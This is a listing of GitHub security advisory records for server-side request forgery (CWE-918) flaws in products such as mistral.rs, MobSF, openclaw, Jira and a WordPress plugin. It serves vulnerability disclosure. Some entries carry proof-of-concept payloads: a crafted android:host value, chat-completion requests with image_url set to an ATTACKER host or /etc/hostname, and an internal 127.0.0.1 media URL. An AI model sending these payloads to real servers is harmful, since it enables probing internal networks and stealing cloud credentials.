CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5690 vulnerabilities reference this CWE, most recent first.
GHSA-WCCC-W6WF-GHF3
Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 s vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2025-36324"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T21:16:29Z",
"severity": "MODERATE"
},
"details": "IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 s vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
"id": "GHSA-wccc-w6wf-ghf3",
"modified": "2026-06-30T21:31:45Z",
"published": "2026-06-30T21:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36324"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7277801"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCFC-XP4R-C7RV
Vulnerability from github – Published: 2026-07-19 00:30 – Updated: 2026-07-19 00:30A vulnerability was determined in zhayujie CowAgent up to 2.1.1. This affects the function WebFetch.execute of the file agent/tools/web_fetch/web_fetch.py. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.1.2 is able to mitigate this issue. This patch is called ea47f3097eed4f8295c4cb3d76ecb97e0f43d632. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.
{
"affected": [],
"aliases": [
"CVE-2026-16194"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-18T22:16:43Z",
"severity": "LOW"
},
"details": "A vulnerability was determined in zhayujie CowAgent up to 2.1.1. This affects the function WebFetch.execute of the file agent/tools/web_fetch/web_fetch.py. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.1.2 is able to mitigate this issue. This patch is called ea47f3097eed4f8295c4cb3d76ecb97e0f43d632. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.",
"id": "GHSA-wcfc-xp4r-c7rv",
"modified": "2026-07-19T00:30:23Z",
"published": "2026-07-19T00:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16194"
},
{
"type": "WEB",
"url": "https://github.com/zhayujie/CowAgent/issues/2889"
},
{
"type": "WEB",
"url": "https://github.com/zhayujie/CowAgent/pull/2900"
},
{
"type": "WEB",
"url": "https://github.com/zhayujie/CowAgent/commit/ea47f3097eed4f8295c4cb3d76ecb97e0f43d632"
},
{
"type": "WEB",
"url": "https://github.com/zhayujie/CowAgent"
},
{
"type": "WEB",
"url": "https://github.com/zhayujie/CowAgent/releases/tag/2.1.2"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-16194"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/857620"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380009"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380009/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WCFM-9Q6F-MXPX
Vulnerability from github – Published: 2025-06-17 21:32 – Updated: 2025-06-17 21:32A Server-side Request Forgery (SSRF) vulnerability in Trend Micro Apex Central (on-premise) modTMSM component could allow an attacker to manipulate certain parameters leading to information disclosure on affected installations.
{
"affected": [],
"aliases": [
"CVE-2025-30678"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-17T20:15:31Z",
"severity": "MODERATE"
},
"details": "A Server-side Request Forgery (SSRF) vulnerability in Trend Micro Apex Central (on-premise) modTMSM component could allow an attacker to manipulate certain parameters leading to information disclosure on affected installations.",
"id": "GHSA-wcfm-9q6f-mxpx",
"modified": "2025-06-17T21:32:30Z",
"published": "2025-06-17T21:32:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30678"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/en-US/solution/KA-0019355"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-236"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCH2-934C-QJ79
Vulnerability from github – Published: 2025-03-22 12:30 – Updated: 2025-03-22 12:30The Export and Import Users and Customers plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.6.2 via the validate_file() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-1970"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-22T12:15:25Z",
"severity": "HIGH"
},
"details": "The Export and Import Users and Customers plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.6.2 via the validate_file() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-wch2-934c-qj79",
"modified": "2025-03-22T12:30:22Z",
"published": "2025-03-22T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1970"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/users-customers-import-export-for-wp-woocommerce/trunk/admin/modules/import/classes/class-import-ajax.php#L175"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3259688"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/users-customers-import-export-for-wp-woocommerce/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5a4d7d40-8e0e-4251-8e25-3fd4ebd3a93e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCRF-5VR8-VWJP
Vulnerability from github – Published: 2026-01-02 00:30 – Updated: 2026-01-02 00:30A flaw has been found in go-sonic sonic up to 1.1.4. The affected element is the function FetchTheme of the file service/theme/git_fetcher.go of the component Theme Fetching API. Executing manipulation of the argument uri can lead to server-side request forgery. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-15414"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-01T22:15:42Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in go-sonic sonic up to 1.1.4. The affected element is the function FetchTheme of the file service/theme/git_fetcher.go of the component Theme Fetching API. Executing manipulation of the argument uri can lead to server-side request forgery. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-wcrf-5vr8-vwjp",
"modified": "2026-01-02T00:30:25Z",
"published": "2026-01-02T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15414"
},
{
"type": "WEB",
"url": "https://note-hxlab.wetolink.com/share/SeCdFaAVlHAJ"
},
{
"type": "WEB",
"url": "https://note-hxlab.wetolink.com/share/SeCdFaAVlHAJ#-span--strong-proof-of-concept---strong---span-"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.339335"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.339335"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.719789"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WFGJ-WRGH-H3R3
Vulnerability from github – Published: 2024-03-22 23:54 – Updated: 2025-06-30 19:03Summary
While examining the "App Link assetlinks.json file could not be found" vulnerability detected by MobSF, we, as the Trendyol Application Security team, noticed that a GET request was sent to the "/.well-known/assetlinks.json" endpoint for all hosts written with "android:host". In the AndroidManifest.xml file.
Since MobSF does not perform any input validation when extracting the hostnames in "android:host", requests can also be sent to local hostnames. This may cause SSRF vulnerability.
Details
Example <intent-filter structure in AndroidManifest.xml:
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:host="192.168.1.102/user/delete/1#" android:scheme="http" />
</intent-filter>
We defined it as android:host="192.168.1.102/user/delete/1#". Here, the "#" character at the end of the host prevents requests from being sent to the "/.well-known/assetlinks.json" endpoint and ensures that requests are sent to the endpoint before it.
PoC
https://drive.google.com/file/d/1nbKMd2sKosbJef5Mh4DxjcHcQ8Hw0BNR/view?usp=share_link
Impact
The attacker can cause the server to make a connection to internal-only services within the organization's infrastructure.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsfscan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29190"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-22T23:54:53Z",
"nvd_published_at": "2024-03-22T23:15:07Z",
"severity": "HIGH"
},
"details": "### Summary\nWhile examining the \"App Link assetlinks.json file could not be found\" vulnerability detected by MobSF, we, as the Trendyol Application Security team, noticed that a GET request was sent to the \"/.well-known/assetlinks.json\" endpoint for all hosts written with \"android:host\". In the AndroidManifest.xml file.\n\nSince MobSF does not perform any input validation when extracting the hostnames in \"android:host\", requests can also be sent to local hostnames. This may cause SSRF vulnerability.\n\n### Details\nExample \u003cintent-filter structure in AndroidManifest.xml:\n\n```\n\u003cintent-filter android:autoVerify=\"true\"\u003e\n\u003caction android:name=\"android.intent.action.VIEW\" /\u003e\n\u003ccategory android:name=\"android.intent.category.DEFAULT\" /\u003e\n\u003ccategory android:name=\"android.intent.category.BROWSABLE\" /\u003e\n\u003cdata android:host=\"192.168.1.102/user/delete/1#\" android:scheme=\"http\" /\u003e\n\u003c/intent-filter\u003e\n```\n\n\nWe defined it as android:host=\"192.168.1.102/user/delete/1#\". Here, the \"#\" character at the end of the host prevents requests from being sent to the \"/.well-known/assetlinks.json\" endpoint and ensures that requests are sent to the endpoint before it.\n\n\n\u003cimg width=\"617\" alt=\"image\" src=\"https://github.com/MobSF/Mobile-Security-Framework-MobSF/assets/150332295/c570cb00-e947-4ad7-af80-26d46c0ad3f7\"\u003e\n\n\n### PoC\nhttps://drive.google.com/file/d/1nbKMd2sKosbJef5Mh4DxjcHcQ8Hw0BNR/view?usp=share_link\n\n\n### Impact\nThe attacker can cause the server to make a connection to internal-only services within the organization\u0027s infrastructure.",
"id": "GHSA-wfgj-wrgh-h3r3",
"modified": "2025-06-30T19:03:32Z",
"published": "2024-03-22T23:54:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-wfgj-wrgh-h3r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29190"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/5a8eeee73c5f504a6c3abdf2a139a13804efdb77"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/mobsfscan/commit/61fd40b477bbf9d204eb8c5a83a86c396d839798"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/mobsfscan/commit/cd01b71770a6e56c1c71b0e5f454e7b6c9c64ef4"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1nbKMd2sKosbJef5Mh4DxjcHcQ8Hw0BNR/view?usp=share_link"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2024-257.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "SSRF Vulnerability on assetlinks_check(act_name, well_knowns)"
}
GHSA-WFGQ-W7CQ-QJ7J
Vulnerability from github – Published: 2026-09-10 21:54 – Updated: 2026-09-10 21:54Summary
mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.
Details
parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:
let url = if let Ok(url) = url::Url::parse(url_unparsed) {
url
} else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute)
url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
File::open(path).await ... read // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };
reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url.
The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time.
For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.
Suggested fix
Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.
Proof of concept
On a default vision deployment, unauthenticated:
SSRF - the server fetches the attacker URL during request processing:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.
Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):
existing file (opened and read, then fails to decode):
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/etc/hostname"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "The image format could not be determined"
nonexistent path:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/nonexistent"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."
The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the root-cause message, so both reach the client verbatim.
Impact
An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.
Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and http_resp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.17"
},
"package": {
"ecosystem": "crates.io",
"name": "mistralrs-server-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T21:54:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nmistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default.\n\n### Details\n`parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it:\n\n```rust\nlet url = if let Ok(url) = url::Url::parse(url_unparsed) {\n url\n} else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute)\n url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...\n} else { bail!(...) };\n\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check\n} else if url.scheme() == \"file\" {\n File::open(path).await ... read // arbitrary local file read\n} else if url.scheme() == \"data\" { ... base64 ... };\n```\n\n`reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`.\n\nThe value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(\u0026url_unparsed)` / `parse_audio_url(\u0026url_unparsed)` on the chat message content, at request time.\n\nFor reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither.\n\n### Suggested fix\nRestrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.\n\n### Proof of concept\nOn a default vision deployment, unauthenticated:\n\nSSRF - the server fetches the attacker URL during request processing:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"http://ATTACKER/probe\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n```\n\nAn out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.\n\nArbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):\n\nexisting file (opened and read, then fails to decode):\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"/etc/hostname\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-\u003e 500, response body message: \"The image format could not be determined\"\n```\n\nnonexistent path:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"/nonexistent\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-\u003e 500, response body message: \"Invalid source \u0027/nonexistent\u0027: not a valid URL (http/https/data) and file not found on server. ...\"\n```\n\nThe difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with \"file not found on server\" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim.\n\n### Impact\nAn attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.\n\nAvailability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.",
"id": "GHSA-wfgq-w7cq-qj7j",
"modified": "2026-09-10T21:54:14Z",
"published": "2026-09-10T21:54:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-wfgq-w7cq-qj7j"
},
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/commit/74793379649febc758b6a0d4b71aa6aeabc80f9c"
},
{
"type": "PACKAGE",
"url": "https://github.com/EricLBuehler/mistral.rs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url"
}
GHSA-WFH6-5FVJ-2QCG
Vulnerability from github – Published: 2026-07-30 12:32 – Updated: 2026-07-30 12:32A flaw was found in the koku-metrics-operator for Red Hat OpenShift. The operator's CostManagementMetricsConfig custom resource allows a user able to edit the CR to specify an arbitrary upload URL. The operator attaches its own Kubernetes service-account bearer token to queries sent to this user-controlled URL, allowing the attacker to obtain the token.
{
"affected": [],
"aliases": [
"CVE-2026-18381"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T12:17:27Z",
"severity": "HIGH"
},
"details": "A flaw was found in the koku-metrics-operator for Red Hat OpenShift. The operator\u0027s CostManagementMetricsConfig custom resource allows a user able to edit the CR to specify an arbitrary upload URL. The operator attaches its own Kubernetes service-account bearer token to queries sent to this user-controlled URL, allowing the attacker to obtain the token.",
"id": "GHSA-wfh6-5fvj-2qcg",
"modified": "2026-07-30T12:32:19Z",
"published": "2026-07-30T12:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18381"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-18381"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509251"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFHV-4QH5-C632
Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-07-13 00:01A vulnerability in Mobile Plugin for Jira Data Center and Server allows a remote, authenticated user (including a user who joined via the sign-up feature) to perform a full read server-side request forgery via a batch endpoint. This affects Atlassian Jira Server and Data Center from version 8.0.0 before version 8.13.22, from version 8.14.0 before 8.20.10, from version 8.21.0 before 8.22.4. This also affects Jira Management Server and Data Center versions from version 4.0.0 before 4.13.22, from version 4.14.0 before 4.20.10 and from version 4.21.0 before 4.22.4.
{
"affected": [],
"aliases": [
"CVE-2022-26135"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-30T06:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Mobile Plugin for Jira Data Center and Server allows a remote, authenticated user (including a user who joined via the sign-up feature) to perform a full read server-side request forgery via a batch endpoint. This affects Atlassian Jira Server and Data Center from version 8.0.0 before version 8.13.22, from version 8.14.0 before 8.20.10, from version 8.21.0 before 8.22.4. This also affects Jira Management Server and Data Center versions from version 4.0.0 before 4.13.22, from version 4.14.0 before 4.20.10 and from version 4.21.0 before 4.22.4.",
"id": "GHSA-wfhv-4qh5-c632",
"modified": "2022-07-13T00:01:56Z",
"published": "2022-07-01T00:01:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26135"
},
{
"type": "WEB",
"url": "https://confluence.atlassian.com/display/JIRA/Jira+Server+Security+Advisory+29nd+June+2022"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-73863"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JSDSERVER-11840"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFP2-V9C7-FH79
Vulnerability from github – Published: 2026-02-17 21:30 – Updated: 2026-03-06 01:01Summary
Versions of the openclaw npm package prior to 2026.2.2 could be coerced into fetching arbitrary http(s) URLs during attachment/media hydration. An attacker who can influence the media URL (for example via model-controlled sendAttachment or auto-reply media URLs) could trigger SSRF to internal resources and exfiltrate the fetched bytes as an outbound attachment.
Plain-English Explanation
OpenClaw can send files by downloading them first.
On vulnerable versions (< 2026.2.2), if an attacker could get OpenClaw to treat a URL as the “file to attach”, OpenClaw would download that URL from the gateway machine and then send the downloaded bytes back out as an attachment.
That matters because the gateway can often reach internal-only endpoints that an attacker cannot (for example 127.0.0.1 services, private RFC1918 addresses, or cloud metadata endpoints). This is a data-leak risk.
This does not directly grant code execution or shell access; it is about making the gateway perform HTTP requests and returning the response bytes.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected:
< 2026.2.2 - Fixed:
>= 2026.2.2
Release timeline (npm):
2026.2.1published2026-02-02T11:45:27Z2026.2.2published2026-02-04T00:56:41Z- This advisory was created
2026-02-05T10:42:26Z
Details
In affected versions, remote media fetching performed a raw fetch(url) without SSRF protections.
Starting in 2026.2.2, remote media fetching is guarded by SSRF checks (private/loopback/link-local blocking, DNS pinning, and redirect handling), so attempts to fetch 127.0.0.1, private RFC1918 space, or cloud metadata hostnames are rejected.
Proof of Concept
From any context where an attacker can influence an attachment/media URL, provide a media URL targeting an internal endpoint (example: http://127.0.0.1:9999/secret.txt).
On vulnerable versions (< 2026.2.2), the gateway fetches the URL and uses the response bytes as the attachment payload.
Fix
Fix commits:
81c68f582d4a9a20d9cca9f367d2da9edc5a65ae9bd64c8a1f91dda602afc1d5246a2ff2be164647
Mitigation
Upgrade to openclaw >= 2026.2.2.
Thanks @simecek for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28467"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-17T21:30:48Z",
"nvd_published_at": "2026-03-05T22:16:19Z",
"severity": "MODERATE"
},
